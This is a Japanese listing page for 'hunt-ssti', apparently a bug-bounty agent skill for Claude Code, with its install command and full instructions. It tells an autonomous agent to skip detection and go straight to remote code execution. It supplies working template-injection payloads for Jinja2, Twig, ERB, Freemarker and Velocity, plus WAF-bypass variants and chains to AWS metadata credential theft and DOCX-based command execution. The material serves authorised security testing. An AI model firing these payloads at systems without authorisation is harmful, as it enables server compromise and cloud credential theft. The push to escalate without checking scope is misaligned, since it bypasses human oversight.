hunt-ssti について
hunt-sstiは、サーバーサイドテンプレートインジェクションを探し、影響を検証するセキュリティテスト用スキルです。エンジン別の検査や実行確認の手順を扱います。
主な機能
- 01テンプレートエンジンの識別
- 02Jinja2、Twig、ERB、Freemarkerの検査
- 03フォームとテンプレート編集のテスト手順
- 04短い入力欄向けの注入手法
- 05影響の検証と報告の評価
活用シーン
- 01テンプレートを使うフォームやプロフィール欄の検査
- 02メールや文書のレンダリングにおけるSSTI確認
- 03注入からコマンド実行に至るかの評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-sstiインストール後、Claude Code で/hunt-sstiを入力して読み込まれたか確認します。
詳細
自律的なテストの優先事項
算術演算の検出で止まらず、ただちに RCE へ進んでください。
算術演算のプローブ({{7*7}}→49)は、インジェクションポイントを確認するものですが、影響の証明にはなりません。本当の目的は OS コマンドの実行です。また、アプリが入力をそのまま返す場合(<input value="{{7*7}}"> のような HTML 属性内など)、算術演算の検出は気づかれないまま失敗し、インジェクションが存在するのに誤検知陰性となることがあります。
攻撃の順序:
- まず Jinja2 の RCE を試してください(Python/Flask に対応します。現代の Web アプリで最も一般的なスタックです):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - エンドポイントが従来型の Web フォームの場合は、JSON ではなくフォームエンコードされた本文を送信してください:
フォーム処理エンドポイントでは JSON 本文は気づかれないまま無視されます(Content-Type: application/x-www-form-urlencoded field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}request.form['field']には何も入りません)。 - Jinja2 が失敗した場合は、Twig(PHP/Symfony)を試してください:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - RCE ペイロードが失敗した場合に限り、エンジンのフィンガープリントを特定するため、算術演算の検出にフォールバックしてください。
**証明:**レスポンス内のコマンド出力(uid=N(user) gid=...)で RCE を確認できます。出力が HTML 内(<div> や <pre> の中)に表示されても証拠として有効です。形式は関係なく、内容が証拠になります。
14. SSTI — サーバーサイドテンプレートインジェクション
検出しやすく、報奨金も高額です($2K~$8K)。RCE への直接的な経路です。
検出用ペイロード(すべて試す)
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
RCE ペイロード
Jinja2(Python/Flask):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig(PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ERB(Ruby):
<%= `id` %>
長さに制限のあるインジェクションフィールド(プロフィール名、表示名、件名)
インジェクション可能なフィールドの入力長に上限がある場合(プロフィール名/表示名フィールドは多くの場合、30~64 文字以下です)、完全な os.popen のワンライナーは入りませんが、検出とクラスの列挙は可能です。短いプローブで確認してから、1 つのペイロードで行うのではなく、段階的にガジェットインデックスを列挙してください:
{{ '7'*7 }} # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
反射されるシンクは、Web ページではなく送信メール(アカウント更新/確認メールに名前をレンダリングしたもの)であることがよくあります。評価結果を確認するには、メール本文を読んでください。報告例:reports/125980(プロフィール名 → Jinja2 → 確認メール、長さ制限あり)。
テストする場所
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
CMS/「ドキュメント」テンプレートエディターフォーム(認証済み)
一部の SSTI は、ログイン後に利用できるテンプレートエディター(CMS の「テンプレート編集」/製品テンプレート/メールテンプレートのプレビュー)の背後にあります。PortSwigger の 「ドキュメントを使った SSTI」 はこの形式です。安易な試行を妨げる要因が 3 つあります。
-
RCE を実行する前にフィンガープリントを特定してください。構文はエンジンによって異なります。 Jinja2 と決めつけないでください。次の全パターンを試し、どれが評価されるか確認してください:
${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here {{7*7}} → 49 ⇒ Jinja2 / Twig <%= 7*7 %> → 49 ⇒ ERB (Ruby) *{7*7} → 49 ⇒ Thymeleaf (Spring){{7*7}}がそのまま表示される一方、${7*7}→49 となる場合は、Freemarker です。{{config...}}を送るのはやめてください。 -
レコード ID は通常、本文フィールドではなくクエリパラメーターです。 エディターフォームは ID を URL に含めて
POST /…/template?productId=Nに送信します。本文にはcsrf、template、template-action(preview|save)のみが含まれます。本文に ID を入れると、400 "Missing product id"が返されます。したがって、ID はクエリ文字列(?productId=N)に含めたまま、フォームエンコードされた本文csrf=…&template=<PAYLOAD>&template-action=previewを送信してください。 -
毎回 CSRF を再取得し、反復テストには
previewを使ってください。 エディターページを GET して、新しいcsrf隠しフィールドを取得します。template-action=previewはペイロードを保存せずにレンダリングするため、素早くフィードバックを得られます。ペイロードが適切になったらtemplate-action=saveに切り替え、その後、テンプレートを使用する公開ページを読み込んでレンダリングを実行し、コマンドを発火させてください。Freemarker のドキュメント RCE(ドキュメントに記載された
Executeユーティリティを使う手法です。これが意図されたテクニックです):<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }Velocity の同等手法:
#set($e="e");$e.getClass().forName("java.lang.Runtime")...。
関連するスキルとチェーン
hunt-rce— SSTI は Python/Ruby/PHP/Java のスタックで RCE を実現する最も簡単な経路です。テンプレート言語からすでにランタイムが公開されているためです。チェーンのプリミティブ:Jinja2{{config.__class__.__init__.__globals__['os'].popen('id').read()}}または Freemarker<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}→ 認証なしで、レンダリングを実行するワーカーとして RCE。必ずフィンガープリントの取得 → クラスウォーカー → コマンド実行へと進めてください。hunt-xss— テンプレートエンジンがランタイムをサンドボックス化している場合(またはレンダリング済みの出力を HTML としてしか取得できない場合)でも、同じ{{7*7}}の反映から保存型 XSS が成立することがあります。チェーンのプリミティブ:サンドボックス化された Jinja2 SSTI でエスケープできない場合 → レンダリングされるメールテンプレートに<script>を挿入 → メッセージを閲覧するすべての受信者に対する保存型 XSS。hunt-ssrf— テンプレートエンジンは、ランタイムを公開する前に URL フェッチ機能/フィルターを公開することが多く、RCE より先に SSRF が可能です。チェーンのプリミティブ:Twig{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}またはurl_for/カスタムフィルターを使う Jinja2 → AWS メタデータの窃取 → クラウド認証情報の取得。hunt-file-upload— ユーザーがアップロードする Office ドキュメント、SVG、メールテンプレートは、よくある SSTI の攻撃対象です(サーバーが再レンダリングします)。チェーンのプリミティブ:word/document.xmlに${T(java.lang.Runtime).getRuntime().exec("id")}を含む DOCX を、Velocity/Freemarker 駆動のメールマージ機能にアップロード → RCE。security-arsenal— エンジン固有のエスケープ用ペイロードツリーを使います。Jinja2 のクラスウォーカーのバリエーション(__subclasses__()[N]のインデックス探索)、Twig の_self.envと registerUndefinedFilterCallback、Freemarker の?new()Execute、ERB のバッククォート、Velocity の$class.inspect、Smarty の{php}...{/php}に加え、WAF バイパスのバリエーション({{request|attr('application')|...}}、Unicode エスケープ、{%print(...)%})も含まれます。triage-validation— Critical RCE と報告する前に、Severity Gate を適用してください。サンドボックス化されたエンジン(例:Twig のサンドボックスモード、エスケープ手段のない Jinja2 SandboxedEnvironment)内での{{7*7}} → 49の反映は Medium の SSTI であり、Critical RCE ではありません。レポートを作成する前に、一意のマーカーを使ってidの実行または OOB DNS コールバックを実証してください。